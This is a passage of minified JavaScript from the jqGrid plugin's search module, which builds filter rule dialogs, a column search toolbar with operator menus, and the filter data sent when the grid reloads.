value='"+c.p.ops[p].oper+"'>"+c.p.ops[p].text+"</option>",a++);T(".selectopts",l).empty().append(s),T(".selectopts",l)[0].selectedIndex=0,T.jgrid.msie()&&T.jgrid.msiever()<9&&(t=parseInt(T("select.selectopts",l)[0].offsetWidth,10)+1,T(".selectopts",l).width(t),T(".selectopts",l).css("width","auto")),T(".data",l).append(r),T.jgrid.bindEv.call(d,r,n.searchoptions),T(".input-elm",l).on("change",function(e){e=e.target;"custom"===n.inputtype&&T.jgrid.isFunction(n.searchoptions.custom_value)?i.data=n.searchoptions.custom_value.call(d,T(".customelement",this),"get"):i.data=T(e).val(),"select"===n.inputtype&&n.searchoptions.multiple&&(i.data=i.data.join(",")),c.onchange()}),setTimeout(function(){i.data=T(r).val(),("nu"===i.op||"nn"===i.op||0<=T.inArray(i.op,c.p.unaryOperations))&&(T(r).attr("readonly","true"),T(r).attr("disabled","true")),"select"===n.inputtype&&n.searchoptions.multiple&&Array.isArray(i.data)&&(i.data=i.data.join(",")),c.onchange()},0)}}),0),f=0;f<c.p.columns.length;f++){var m=void 0===c.p.columns[f].search||c.p.columns[f].search,y=!0===c.p.columns[f].hidden;(!0===c.p.columns[f].searchoptions.searchhidden&&m||m&&!y)&&(t="",i.field===c.p.columns[f].name&&(t=" selected='selected'",g=f),s+="<option value='"+c.p.columns[f].name+"'"+t+">"+c.p.columns[f].label+"</option>")}u.append(s),u.data("curr",g);var a=T("<td class='operators'></td>"),v=(r.append(a),(n=x.columns[g]).searchoptions.id=T.jgrid.randId(),!b||"text"!==n.inputtype||n.searchoptions.size||(n.searchoptions.size=10),n.searchoptions.name=i.field,n.searchoptions.oper="filter",T.jgrid.createEl.call(d,n.inputtype,n.searchoptions,i.data,!0,c.p.ajaxSelectOptions||{},!0)),j=(("nu"===i.op||"nn"===i.op||0<=T.inArray(i.op,c.p.unaryOperations))&&(T(v).attr("readonly","true"),T(v).attr("disabled","true")),T("<select size='1' name='select_oper' class='selectopts "+F.srSelect+"'></select>"));for(a.append(j),j.on("change",function(){i.op=T(j).val(),l=T(this).parents("tr").first();var e=T(".input-elm",l)[0];"nu"===i.op||"nn"===i.op||0<=T.inArray(i.op,c.p.unaryOperations)?(i.data="","SELECT"!==e.tagName.toUpperCase()&&(e.value=""),e.setAttribute("readonly","true"),e.setAttribute("disabled","true")):("SELECT"===e.tagName.toUpperCase()&&(i.data=e.value),e.removeAttribute("readonly"),e.removeAttribute("disabled")),c.onchange()}),o=n.searchoptions.sopt||c.p.sopt||(-1!==T.inArray(n.searchtype,c.p.strarr)?c.p.stropts:c.p.numopts),s="",T.each(c.p.ops,function(){h.push(this.oper)}),f=0;f<o.length;f++)-1!==(p=T.inArray(o[f],h))&&(t=i.op===c.p.ops[p].oper?" selected='selected'":"",s+="<option value='"+c.p.ops[p].oper+"'"+t+">"+c.p.ops[p].text+"</option>");j.append(s);a=T("<td class='data'></td>"),r.append(a),a.append(v),T.jgrid.bindEv.call(d,v,n.searchoptions),T(v).addClass("input-elm "+("select"===n.inputtype?F.srSelect:F.srInput)).on("change",function(){i.data="custom"===n.inputtype?n.searchoptions.custom_value.call(d,T(".customelement",this),"get"):T(this).val(),c.onchange()}),a=T("<td></td>");return r.append(a),!0===this.p.ruleButtons&&(v=T("<input type='button' value='-' title='"+c.p.delrule+"' class='delete-rule ui-del "+O.button+"'/ name='delrule'>"),a.append(v),v.on("click",function(){for(f=0;f<e.rules.length;f++)if(e.rules[f]===i){e.rules.splice(f,1);break}return c.reDraw(),c.onchange(),!1})),r},this.getStringForGroup=function(e){var t,r="(";if(void 0!==e.groups)for(t=0;t<e.groups.length;t++){1<r.length&&(r+=" "+e.groupOp+" ");try{r+=this.getStringForGroup(e.groups[t])}catch(e){alert(e)}}if(void 0!==e.rules)try{for(t=0;t<e.rules.length;t++)1<r.length&&(r+=" "+e.groupOp+" "),r+=this.getStringForRule(e.rules[t])}catch(e){alert(e)}return"()"===(r+=")")?"":r},this.getStringForRule=function(e){for(var t,r,s="",a="",i=0;i<this.p.ops.length;i++)if(this.p.ops[i].oper===e.op){s=this.p.operands.hasOwnProperty(e.op)?this.p.operands[e.op]:"",a=this.p.ops[i].oper;break}for(i=0;i<this.p.columns.length;i++)if(this.p.columns[i].name===e.field){t=this.p.columns[i];break}return void 0===t?"":(r=this.p.autoencode?T.jgrid.htmlEncode(e.data):e.data,"bw"!==a&&"bn"!==a||(r+="%"),"ew"!==a&&"en"!==a||(r="%"+r),"cn"!==a&&"nc"!==a||(r="%"+r+"%"),"in"!==a&&"ni"!==a||(r=" ("+r+")"),x.errorcheck&&o(e.data,t),-1!==T.inArray(t.searchtype,["int","integer","float","number","currency"])||"nn"===a||"nu"===a||0<=T.inArray(e.op,this.p.unaryOperations)?e.field+" "+s+" "+r:e.field+" "+s+' "'+r+'"')},this.resetFilter=function(){this.p.filter=T.extend(!0,{},this.p.initFilter),this.reDraw(),this.onchange()},this.hideError=function(){T("th."+O.error,this).html(""),T("tr.error",this).hide()},this.showError=function(){T("th."+O.error,this).html(T.jgrid.stripScript(this.p.errmsg)),T("tr.error",this).show()},this.toUserFriendlyString=function(){return this.getStringForGroup(x.filter)},this.toString=function(){var a=this;return function e(t){var r,s="(";if(void 0!==t.groups)for(r=0;r<t.groups.length;r++)1<s.length&&("OR"===t.groupOp?s+=" || ":s+=" && "),s+=e(t.groups[r]);if(void 0!==t.rules)for(r=0;r<t.rules.length;r++)1<s.length&&("OR"===t.groupOp?s+=" || ":s+=" && "),s+=function(e){if(a.p.errorcheck){for(var t,r=0;r<a.p.columns.length;r++)if(a.p.columns[r].name===e.field){t=a.p.columns[r];break}t&&o(e.data,t)}return e.op+"(item."+e.field+",'"+e.data+"')"}(t.rules[r]);return"()"==(s+=")")?"":s}(this.p.filter)},this.reDraw(),this.p.showQuery&&this.onchange(),this.filter=!0}}})},T.extend(T.fn.jqFilter,{toSQLString:function(){var e="";return this.each(function(){e=this.toUserFriendlyString()}),e},filterData:function(){var e;return this.each(function(){e=this.p.filter}),e},getParameter:function(r){var s=null;return void 0!==r&&this.each(function(e,t){t.p.hasOwnProperty(r)&&(s=t.p[r])}),s||this[0].p},resetFilter:function(){return this.each(function(){this.resetFilter()})},addFilter:function(e){"string"==typeof e&&(e=T.jgrid.parse(e)),this.each(function(){this.p.filter=e,this.reDraw(),this.onchange()})}}),T.extend(T.jgrid,{filterRefactor:function(e){var t,r,s,a,i,o,l={};try{if((l="string"==typeof e.ruleGroup?T.jgrid.parse(e.ruleGroup):e.ruleGroup).rules&&l.rules.length)for(t=l.rules,r=0;r<t.length;r++)o=(s=t[r]).field,-1<T.inArray(o,e.ssfield)&&1<(a=s.data.split(e.splitSelect)).length&&(void 0===l.groups&&(l.groups=[]),i={groupOp:e.groupOpSelect,groups:[],rules:[]},l.groups.push(i),T.each(a,function(e){a[e]&&i.rules.push({data:a[e],op:s.op,field:s.field})}),t.splice(r,1),r--)}catch(e){}return l}}),T.jgrid.extend({filterToolbar:function(G){var s=T.jgrid.getRegional(this[0],"search");return G=T.extend({autosearch:!0,autosearchDelay:500,searchOnEnter:!0,beforeSearch:null,afterSearch:null,beforeClear:null,afterClear:null,onClearSearchValue:null,url:"",stringResult:!1,groupOp:"AND",defaultSearch:"bw",searchOperators:!1,resetIcon:"x",splitSelect:",",groupOpSelect:"OR",errorcheck:!0,operands:{eq:"==",ne:"!",lt:"<",le:"<=",gt:">",ge:">=",bw:"^",bn:"!^",in:"=",ni:"!=",ew:"|",en:"!@",cn:"~",nc:"!~",nu:"#",nn:"!#",bt:"..."},disabledKeys:[9,16,17,18,19,20,33,34,35,36,37,38,39,40,30,45,112,113,114,115,116,117,118,119,120,121,122,123,144,145]},s,G||{}),this.each(function(){var w=this,I=[];if(!w.p.filterToolbar){if(T(w).data("filterToolbar")||T(w).data("filterToolbar",G),w.p.force_regional&&(G=T.extend(G,s)),void 0!==w.p.customFilterDef)for(var e in w.p.customFilterDef)w.p.customFilterDef.hasOwnProperty(e)&&!G.operands.hasOwnProperty(e)&&(G.odata.push({oper:e,text:w.p.customFilterDef[e].text}),G.operands[e]=w.p.customFilterDef[e].operand,!0===w.p.customFilterDef[e].unary)&&I.push(e);var u,h,t,g,f=T.jgrid.styleUI[w.p.styleUI||"jQueryUI"].filter,c=T.jgrid.styleUI[w.p.styleUI||"jQueryUI"].common,m=T.jgrid.styleUI[w.p.styleUI||"jQueryUI"].base,y=function(e){void 0===e&&(e=1);var r,s,a,i,o={},l=0,n={},p=!1,c=[],d=[],u={},h=[],g=!1,f=[!0,"",""],m=!1;if(T.each(w.p.colModel,function(){var e,t=!1;if(s=this.index||this.name,i=this.searchoptions||{},!0===this.frozen&&!0===w.p.frozenColumns?(e=T("#gs_"+w.p.idPrefix+T.jgrid.jqID(this.name),w.grid.fhDiv),t=!0):e=T("#gs_"+w.p.idPrefix+T.jgrid.jqID(this.name),w.grid.hDiv),void 0===e[0]&&(e=T("#gs_"+w.p.idPrefix+T.jgrid.jqID(this.name),w.grid.hDiv)),a=G.searchOperators&&i.searchOperMenu?e.parents("table.ui-search-table").find("td.ui-search-oper").children("a").attr("soper")||G.defaultSearch:i.sopt?i.sopt[0]:"select"===this.stype?"eq":G.defaultSearch,"custom"===this.stype&&T.jgrid.isFunction(i.custom_value)&&0<e.length?(r=i.custom_value.call(w,e,"get"),h.push(s)):r=e.val(),"select"===this.stype&&i.multiple&&Array.isArray(r)?r=0<r.length?(p=!0,c.push(s),1===r.length?r[0]:r):"":"bt"!==a&&"text"===this.stype&&!0===i.splitSearchWord&&d.push(s),this.searchrules&&G.errorcheck&&(T.jgrid.isFunction(this.searchrules)?f=this.searchrules.call(w,r,this):T.jgrid&&T.jgrid.checkValues&&(f=T.jgrid.checkValues.call(w,r,-1,this.searchrules,this.label||this.name)),f)&&f.length&&!1===f[0])return this.searchrules.hasOwnProperty("validationError")&&(m=this.searchrules.validationError),!1;if("bt"===a&&(g=!0),t&&"cb"!==s&&"rn"!==s&&"subgrid"!==s&&"sc"!==s&&(u[s]=r),r||"nu"===a||"nn"===a||0<=T.inArray(a,I))o[s]=r,n[s]=a,l++;else try{delete w.p.postData[s]}catch(e){}}),!1===f[0])T.jgrid.isFunction(m)?m.call(w,f[1]):(y=T.jgrid.getRegional(w,"errors"),T.jgrid.info_dialog(y.errcap,f[1],"",{styleUI:w.p.styleUI}));else{var t,y=0<l;if(!0===G.stringResult||"local"===w.p.datatype||!0===G.searchOperators){var v,j,b,S,F,O,x='{"groupOp":"'+G.groupOp+'","rules":[',D=0;if(T.each(o,function(e,t){0<D&&(x+=","),x=(x=(x+='{"field":"'+e+'",')+'"op":"'+n[e]+'",')+'"data":"'+(t+="").replace(/\\/g,"\\\\").replace(/\"/g,'\\"')+'"}',D++}),x+="]}",p&&(v=T.jgrid.filterRefactor({ruleGroup:x,ssfield:c,splitSelect:G.splitSelect,groupOpSelect:G.groupOpSelect})),g&&(v=T.isPlainObject(v)?v:T.jgrid.parse(x)).rules&&v.rules.length)for(j=v.rules,b=0;b<j.length;b++)"bt"===(S=j[b]).op&&1<(F=S.data.split("...")).length&&(void 0===v.groups&&(v.groups=[]),O={groupOp:"AND",groups:[],rules:[]},v.groups.push(O),T.each(F,function(e){F[e]&&O.rules.push({data:F[e],op:0===e?"ge":"le",field:S.field})}),j.splice(b,1),b--);d.length&&(v=T.jgrid.filterRefactor({ruleGroup:x,ssfield:d,splitSelect:i.splitSearchSeparator||";",groupOpSelect:"OR"})),(g||p||d.length)&&(x=JSON.stringify(v)),!0===w.p.mergeSearch&&w.p.searchModules.hasOwnProperty("filterToolbar")&&!1!==w.p.searchModules.filterToolbar?(w.p.searchModules.filterToolbar=0<D?x:null,y=!0,T.extend(w.p.postData,{filters:T.jgrid.splitSearch(w.p.searchModules)})):T.extend(w.p.postData,{filters:x}),T.each(["searchField","searchString","searchOper"],function(e,t){w.p.postData.hasOwnProperty(t)&&delete w.p.postData[t]})}else T.extend(w.p.postData,o);G.url&&(t=w.p.url,T(w).jqGrid("setGridParam",{url:G.url}));var q="stop"===T(w).triggerHandler("jqGridToolbarBeforeSearch");(q=!q&&T.jgrid.isFunction(G.beforeSearch)?G.beforeSearch.call(w):q)||T(w).jqGrid("setGridParam",{search:y}).trigger("reloadGrid",[{page:e}]),t&&T(w).jqGrid("setGridParam",{url:t}),T(w).triggerHandler("jqGridToolbarAfterSearch"),T.jgrid.isFunction(G.afterSearch)&&G.afterSearch.call(w),w.p.frozenColumns&&_(u,n,c,h)}},_=function(e,i,t,o){var l=T(".ui-search-toolbar",w.grid.hDiv),n=T(".ui-search-toolbar",w.grid.fhDiv);T.each(e,function(e,t){var r,s,a;G.searchOperators&&(r=i[e])&&(T(".ui-search-table .ui-search-oper [colname='userId']",l).attr({soper:r}).text(G.operands[r]),T(".ui-search-table .ui-search-oper [colname='userId']",n).attr({soper:r}).text(G.operands[r])),-1<T.inArray(e,o)?(r=T.jgrid.getElemByAttrVal(w.p.colModel,"name",e))&&r.searchoptions&&(r=r.searchoptions||{},T.jgrid.isFunction(r.custom_value))&&(s=T("#gs_"+w.p.idPrefix+T.jgrid.jqID(e),w.grid.fhDiv),a=T("#gs_"+w.p.idPrefix+T.jgrid.jqID(e),w.grid.hDiv),r.custom_value.call(w,s,"set",t),r.custom_value.call(w,a,"set",t)):(T("#gs_"+w.p.idPrefix+T.jgrid.jqID(e),l).val(t),T("#gs_"+w.p.idPrefix+T.jgrid.jqID(e),n).val(t))})},v=T("<tr class='ui-search-toolbar' role='row'></tr>"),j=(G.restoreFromFilters&&(t=!0===w.p.mergeSearch&&w.p.searchModules.hasOwnProperty("filterToolbar")&&!1!==w.p.searchModules.filterToolbar?w.p.searchModules.filterToolbar:w.p.postData.filters)&&("string"==typeof t&&(t=T.jgrid.parse(t)),h=!(!t.rules||!t.rules.length)&&t.rules),new Set(G.disabledKeys));if(j.size!==G.disabledKeys.length)for(var r=0;r<G.disabledKeys.length;r++)(j=new Set).add(G.disabledKeys[r]);s.filterFor&&(g=s.filterFor),w.p.colSpanHeader.length&&T(w).jqGrid("destroyColSpanHeader",!1),T.each(w.p.colModel,function(e){var t,r,s,a=this,i="",o="=",l=T("<th role='columnheader' class='"+m.headerBox+" ui-th-"+w.p.direction+" "+(a.labelClasses||"")+"' id='gsh_"+w.p.id+"_"+a.name+"'></th>"),n=T('<div><span aria-label="empty" style="display: none;">empty</span></div>'),p=T("<table class='ui-search-table' cellspacing='0'><tr><td class='ui-search-oper' headers=''></td><td class='ui-search-input' headers=''></td><td class='ui-search-clear' headers=''></td></tr></table>");if(!0===this.hidden&&T(l).css("display","none"),this.search=!1!==this.search,void 0===this.stype&&(this.stype="text"),this.searchoptions=this.searchoptions||{},void 0===this.searchoptions.searchOperMenu&&(this.searchoptions.searchOperMenu=!0),e=void 0!==g?g+" "+w.p.colNames[e]:w.p.colNames[e],t=T.extend({},this.searchoptions,{name:a.index||a.name,id:"gs_"+w.p.idPrefix+a.name,oper:"search",title:e}),this.search){if(G.restoreFromFilters&&h)for(var c=!1,d=0;d<h.length;d++)if(h[d].field)if((a.index||a.name)===h[d].field){c=h[d];break}if(G.searchOperators){for(r=t.sopt?t.sopt[0]:"select"===a.stype?"eq":G.defaultSearch,G.restoreFromFilters&&c&&(r=c.op),s=0;s<G.odata.length;s++)if(G.odata[s].oper===r){o=G.operands[r]||"";break}e=null!=t.searchtitle?t.searchtitle:G.operandTitle,i=this.searchoptions.searchOperMenu?"<a title='"+e+"' soper='"+r+"' class='soptclass' colname='"+this.name+"'>"+o+"</a>":""}switch(T("td",p).eq(0).attr("columname",a.name).append(i),void 0===t.clearSearch&&(t.clearSearch=!0),t.clearSearch?(e=G.resetTitle||"Clear Search Value",T("td",p).eq(2).append("<a title='"+e+"' tabindex='0' style='padding-right: 0.3em;padding-left: 0.3em;' class='clearsearchclass'>"+G.resetIcon+"</a>")):T("td",p).eq(2).hide(),this.surl&&(t.dataUrl=this.surl),e="",t.defaultValue&&(e=T.jgrid.isFunction(t.defaultValue)?t.defaultValue.call(w):t.defaultValue),G.restoreFromFilters&&c&&(e=c.data),e=T.jgrid.createEl.call(w,this.stype,t,e,!1,T.extend({},T.jgrid.ajaxOptions,w.p.ajaxSelectOptions||{})),"custom"!==this.stype&&("select"===this.stype?T(e).addClass(f.srSelect):T(e).addClass(f.srInput)),T("td",p).eq(1).append(e),T(n).append(p),null==t.dataEvents&&(t.dataEvents=[]),this.stype){case"select":!0===G.autosearch&&t.dataEvents.push({type:"change",fn:function(){return y(),!1}});break;case"text":case"custom":!0===G.autosearch&&(G.searchOnEnter?t.dataEvents.push({type:"keypress",fn:function(e){return 13===(e.charCode||e.keyCode||0)?(e.preventDefault(),y(),!1):this}}):t.dataEvents.push({type:"keydown",fn:function(e){var t=e.which;if(!j.has(t)){if(13===t)return e.preventDefault(),!1;u&&clearTimeout(u),u=setTimeout(function(){y()},G.autosearchDelay)}}}))}T.jgrid.bindEv.call(w,e,t)}T(l).append(n),T(v).append(l),G.searchOperators&&""!==i||T("td",p).eq(0).hide()}),T("table thead",w.grid.hDiv).append(v),G.searchOperators&&(T(".soptclass",v).click(function(e){var t=T(this).offset(),r=t.left,t=t.top,s=this;T("#sopt_menu").remove(),r=parseInt(r,10),t=parseInt(t,10)+18;var a,i='<ul id="sopt_menu" class="ui-search-menu modal-content" role="menu" tabindex="0" style="font-size:'+(T(".ui-jqgrid").css("font-size")||"11px")+";left:"+r+"px;top:"+t+'px;">',o=T(s).attr("soper"),l=[],r=T(s).attr("colname"),n=T.jgrid.getElemByAttrVal(w.p.colModel,"name",r,!0);if(-1!==n){var t=w.p.colModel[n],p=T.extend({},t.searchoptions);for(p.sopt||(p.sopt=[],p.sopt[0]="select"===t.stype?"eq":G.defaultSearch),T.each(G.odata,function(){l.push(this.oper)}),n=0;n<p.sopt.length;n++)-1!==(a=T.inArray(p.sopt[n],l))&&(i+='<li class="ui-menu-item '+(o===G.odata[a].oper?c.highlight:"")+'" role="presentation"><a class="'+c.cornerall+' g-menu-item" tabindex="0" role="menuitem" value="'+G.odata[a].oper+'" oper="'+G.operands[G.odata[a].oper]+'"><table class="ui-common-table"><tr><td class="opersign">'+G.operands[G.odata[a].oper]+"</td><td>"+G.odata[a].text+"</td></tr></table></a></li>");i+="</ul>",T("body").append(i),T("#sopt_menu").addClass("ui-menu "+f.menu_widget),T("#sopt_menu > li > a").hover(function(){T(this).addClass(c.hover)},function(){T(this).removeClass(c.hover)}).click(function(){var e=T(this).attr("value"),t=T(this).attr("oper");T(w).triggerHandler("jqGridToolbarSelectOper",[e,t,s]),T("#sopt_menu").hide(),T(s).text(t).attr("soper",e),!0===G.autosearch&&(t=T(s).parent().next().children()[0],T(t).val()||"nu"===e||"nn"===e||0<=T.inArray(e,I))&&y()})}e.stopPropagation()}),T("body").on("click",function(e){"soptclass"!==e.target.className&&T("#sopt_menu").remove()})),T(".clearsearchclass",v).click(function(){var e,t=T(this).parents("tr").first(),r=T("td.ui-search-oper",t).attr("columname"),s=T("td.ui-search-oper a",t).attr("soper");if(-1===(r=T.jgrid.getElemByAttrVal(w.p.colModel,"name",r,!0)))return!1;var a=w.p.colModel[r],i=T.extend({},a.searchoptions||{}),o=i.defaultValue||"",l=("select"===a.stype?(l=T("td.ui-search-input select",t),o?l.val(o):l[0].selectedIndex=0):(l=T("td.ui-search-input input",t)).val(o),T(w).triggerHandler("jqGridToolbarClearVal",[l[0],r,i,o]),T.jgrid.isFunction(G.onClearSearchValue)&&G.onClearSearchValue.call(w,l[0],r,i,o),"");("nu"===s||"nn"===s||0<=T.inArray(s,I))&&(e=i.sopt?i.sopt[0]:"select"===a.stype?"eq":G.defaultSearch,l=null!=w.p.customFilterDef&&null!=w.p.customFilterDef[e]?w.p.customFilterDef[e].operand:G.operands[e]||"",(e===s?T("td.ui-search-oper a",t).attr("soper","dummy"):T("td.ui-search-oper a",t).attr("soper",e)).text(l)),!0===G.autosearch&&(y(),e===s)&&T("td.ui-search-oper a",t).attr("soper",e).text(l)}),T(".clearsearchclass",v).keydown(function(e){13===e.keyCode&&(e.preventDefault(),T(".clearsearchclass",v).trigger("click"))}),T(w.grid.hDiv).on("scroll",function(e){w.grid.hScroll||(w.grid.bScroll=!0,w.grid.bDiv.scrollLeft=w.grid.hDiv.scrollLeft,w.p.footerrow&&(w.grid.sDiv.scrollLeft=w.grid.bDiv.scrollLeft),w.p.headerrow&&(w.grid.hrDiv.scrollLeft=w.grid.bDiv.scrollLeft)),w.grid.hScroll=!1}),w.p.colSpanHeader.length&&setTimeout(function(){T(w).jqGrid("setColSpanHeader")},0),this.p.filterToolbar=!0,this.triggerToolbar=y,this.clearToolbar=function(e){var t,r,s,a,i,o,l={},n={},p=0,c=(e="boolean"!=typeof e||e,T.each(w.p.colModel,function(){switch(r=T("#gs_"+w.p.idPrefix+T.jgrid.jqID(this.name),!0===this.frozen&&!0===w.p.frozenColumns?w.grid.fhDiv:w.grid.hDiv),s=this.searchoptions&&void 0!==this.searchoptions.defaultValue?this.searchoptions.defaultValue:void 0,t=this.index||this.name,n[t]=this.searchoptions&&this.searchoptions.sopt?this.searchoptions.sopt[0]:G.defaultSearch||"eq",this.stype){case"select":if(r.find("option").each(function(e){if(0===e&&(this.selected=!0),T(this).val()===s)return!(this.selected=!0)}),void 0!==s)l[t]=s,p++;else try{delete w.p.postData[t]}catch(e){}break;case"text":if(r.val(s||""),void 0!==s)l[t]=s,p++;else try{delete w.p.postData[t]}catch(e){}break;case"custom":T.jgrid.isFunction(this.searchoptions.custom_value)&&0<r.length&&this.searchoptions.custom_value.call(w,r,"set",s||"")}}),0<p),d=((w.p.resetsearch=!0)===G.stringResult||"local"===w.p.datatype?(a='{"groupOp":"'+G.groupOp+'","rules":[',i=0,T.each(l,function(e,t){0<i&&(a+=","),a=(a=(a+='{"field":"'+e+'",')+'"op":"'+n[e]+'",')+'"data":"'+(t+="").replace(/\\/g,"\\\\").replace(/\"/g,'\\"')+'"}',i++,G.searchOperators&&(r=T("#gs_"+w.p.idPrefix+T.jgrid.jqID(e),!0===this.frozen&&!0===w.p.frozenColumns?w.grid.fhDiv:w.grid.hDiv)).parents("table.ui-search-table").find("td.ui-search-oper").children("a").attr("soper",n[e]).html(G.operands[n[e]])}),a+="]}",!0===w.p.mergeSearch&&w.p.searchModules.hasOwnProperty("filterToolbar")&&!1!==w.p.searchModules.filterToolbar?(w.p.searchModules.filterToolbar=0<i?a:null,c=!0,T.extend(w.p.postData,{filters:T.jgrid.splitSearch(w.p.searchModules)})):T.extend(w.p.postData,{filters:a}),T.each(["searchField","searchString","searchOper"],function(e,t){w.p.postData.hasOwnProperty(t)&&delete w.p.postData[t]})):T.extend(w.p.postData,l),G.url&&(o=w.p.url,T(w).jqGrid("setGridParam",{url:G.url})),"stop"===T(w).triggerHandler("jqGridToolbarBeforeClear"));(d=!d&&T.jgrid.isFunction(G.beforeClear)?G.beforeClear.call(w):d)||e&&T(w).jqGrid("setGridParam",{search:c}).trigger("reloadGrid",[{page:1}]),o&&T(w).jqGrid("setGridParam",{url:o}),T(w).triggerHandler("jqGridToolbarAfterClear"),T.jgrid.isFunction(G.afterClear)&&G.afterClear()},this.toggleToolbar=function(){var e=T("tr.ui-search-toolbar",w.grid.hDiv);!0===w.p.frozenColumns&&T(w).jqGrid("destroyFrozenColumns"),"none"===e.css("display")?e.show():e.hide(),!0===w.p.frozenColumns&&T(w).jqGrid("setFrozenColumns")}}})},destroyFilterToolbar:function(){return this.each(function(){this.p.filterToolbar&&(this.triggerToolbar=null,this.clearToolbar=null,this.toggleToolbar=null,this.p.filterToolbar=!1,T(this.grid.hDiv).find("table thead tr.ui-search-toolbar").remove())})},refreshFilterToolbar:function(g){return g=T.extend(!0,{filters:"",onClearVal:null,onSetVal:null},g||{}),this.each(function(){var a,i,o,e,l,n,p,c=this,d=c.p.colModel,u=c.p.colModel.length,h=[];if(c.p.filterToolbar){for(i=T(c).data("filterToolbar"),a=0;a<u;a++){switch(h.push(d[a].index||d[a].name),o=T("#gs_"+c.p.idPrefix+T.jgrid.jqID(d[a].name)),d[a].stype){case"select":case"text":o.val("")}T.jgrid.isFunction(g.onClearVal)&&g.onClearVal.call(c,o,d[a].name)}"string"==typeof g.filters&&(g.filters.length?e=g.filters:c.p.postData.hasOwnProperty("filters")&&(e=c.p.postData.filters),e=T.jgrid.parse(e)),T.isPlainObject(e)&&!function e(t){if(t&&t.rules){for(l=t.rules,u=l.length,a=0;a<u;a++){var r;n=l[a],-1!==(p=T.inArray(n.field,h))&&0<(o=T("#gs_"+c.p.idPrefix+T.jgrid.jqID(d[p].name))).length&&("select"===d[p].stype?o.find("option[value='"+T.jgrid.jqID(n.data)+"']").prop("selected",!0):"text"===d[p].stype&&o.val(n.data),T.jgrid.isFunction(g.onSetVal)&&g.onSetVal.call(c,o,d[p].name),i)&&i.searchOperators&&(r=o.parent().prev()).hasClass("ui-search-oper")&&(T(".soptclass",r).attr("soper",n.op),i.operands.hasOwnProperty(n.op))&&T(".soptclass",r).html(T.jgrid.stripScript(i.operands[n.op]))}if(t.groups)for(var s=0;s<t.groups.length;s++)e(t.groups[s])}}(e)}})},searchGrid:function(C){var e=T.jgrid.getRegional(this[0],"search");return C=T.extend(!0,{recreateFilter:!1,drag:!0,sField:"searchField",sValue:"searchString",sOper:"searchOper",sFilter:"filters",loadDefaults:!0,beforeShowSearch:null,afterShowSearch:null,onInitializeSearch:null,afterRedraw:null,afterChange:null,sortStrategy:null,closeAfterSearch:!1,closeAfterReset:!1,closeOnEscape:!1,searchOnEnter:!1,multipleSearch:!1,multipleGroup:!1,top:0,left:0,jqModal:!0,modal:!1,resize:!0,width:450,height:"auto",dataheight:"auto",showQuery:!1,errorcheck:!0,sopt:null,stringResult:void 0,onClose:null,onSearch:null,onReset:null,toTop:!0,overlay:30,columns:[],tmplNames:null,tmplFilters:null,tmplLabel:" Template: ",showOnLoad:!1,layer:null,splitSelect:",",groupOpSelect:"OR",operands:{eq:"=",ne:"<>",lt:"<",le:"<=",gt:">",ge:">=",bw:"LIKE",bn:"NOT LIKE",in:"IN",ni:"NOT IN",ew:"LIKE",en:"NOT LIKE",cn:"LIKE",nc:"NOT LIKE",nu:"IS NULL",nn:"ISNOT NULL"},buttons:[]},e,C||{}),this.each(function(){var a=this;if(a.grid){var t,r,s="fbox_"+a.p.id,i=!0,o=!0,l={themodal:"searchmod"+s,modalhead:"searchhd"+s,modalcontent:"searchcnt"+s,scrollelm:s},e=[],n=T.jgrid.styleUI[a.p.styleUI||"jQueryUI"].filter,p=T.jgrid.styleUI[a.p.styleUI||"jQueryUI"].common;if(C.styleUI=a.p.styleUI,"string"==typeof(t=T.isPlainObject(a.p._savedFilter)&&!T.isEmptyObject(a.p._savedFilter)?a.p._savedFilter:(!0===a.p.mergeSearch&&a.p.searchModules.hasOwnProperty("searchGrid")&&!1!==a.p.searchModules.searchGrid&&T.extend(a.p.postData,{filters:T.jgrid.splitSearch(a.p.searchModules)}),a.p.postData[C.sFilter]))&&(t=T.jgrid.parse(t)),!0===C.recreateFilter&&T("#"+T.jgrid.jqID(l.themodal)).remove(),void 0!==T("#"+T.jgrid.jqID(l.themodal))[0])G(T("#fbox_"+T.jgrid.jqID(a.p.id)));else{var c,d,u=T("<div><div id='"+s+"' class='searchFilter' style='overflow:auto'></div></div>").insertBefore("#gview_"+T.jgrid.jqID(a.p.id)),h="left",g="",f=("rtl"===a.p.direction&&(h="right",g=" style='text-align:left'",u.attr("dir","rtl")),T.extend([],a.p.colModel)),m="<a id='"+s+"_search' class='fm-button "+p.button+" fm-button-icon-right ui-search'><span class='"+p.icon_base+" "+n.icon_search+"'></span>"+C.Find+"</a>",y="<a id='"+s+"_reset' class='fm-button "+p.button+" fm-button-icon-left ui-reset'><span class='"+p.icon_base+" "+n.icon_reset+"'></span>"+C.Reset+"</a>",v="",j="",b=!1,S=-1,F=!1,O=[],m=(C.showQuery&&(v="<a id='"+s+"_query' class='fm-button "+p.button+" fm-button-icon-left'><span class='"+p.icon_base+" "+n.icon_query+"'></span>Query</a>"),T.jgrid.buildButtons(C.buttons,v+m,p)),x=null;if(T(a).jqGrid("isGroupHeaderOn")&&(_=T("table.ui-jqgrid-htable",a.grid.hDiv).find(".jqg-second-row-header"),d=a.p.groupHeader.length,void 0!==_[0])&&(x=a.p.groupHeader[d-1]),C.columns.length)f=C.columns,c=f[S=0].index||f[0].name;else{if(null!==x)for(var D=0;D<f.length;D++){var q=T.jgrid.inColumnHeader(f[D].name,x.groupHeaders);if(0<=q){f[D].label=x.groupHeaders[q].titleText+"::"+a.p.colNames[D];for(var w=1;w<=x.groupHeaders[q].numberOfColumns-1;w++)f[D+w].label=x.groupHeaders[q].titleText+"::"+a.p.colNames[D+w];D=D+x.groupHeaders[q].numberOfColumns-1}}T.each(f,function(e,t){var r,s;t.label||(t.label=a.p.colNames[e]),!b&&(r=void 0===t.search||t.search,s=!0===t.hidden,t.searchoptions&&!0===t.searchoptions.searchhidden&&r||r&&!s)&&(b=!0,c=t.index||t.name,S=e),"select"===t.stype&&t.searchoptions&&t.searchoptions.multiple&&(F=!0,O.push(t.index||t.name))})}if((!t&&c||!1===C.multipleSearch)&&(_="eq",0<=S&&f[S].searchoptions&&f[S].searchoptions.sopt?_=f[S].searchoptions.sopt[0]:C.sopt&&C.sopt.length&&(_=C.sopt[0]),t={groupOp:"AND",rules:[{field:c,op:_,data:""}]}),b=!1,C.tmplNames&&C.tmplNames.length&&(b=!0,j=(j="<tr><td class='ui-search-label'>"+C.tmplLabel+"</td>")+"<td><select size='1' name='select_template' class='ui-template "+n.srSelect+"'><option value='default'>Default</option>",T.each(C.tmplNames,function(e,t){j+="<option 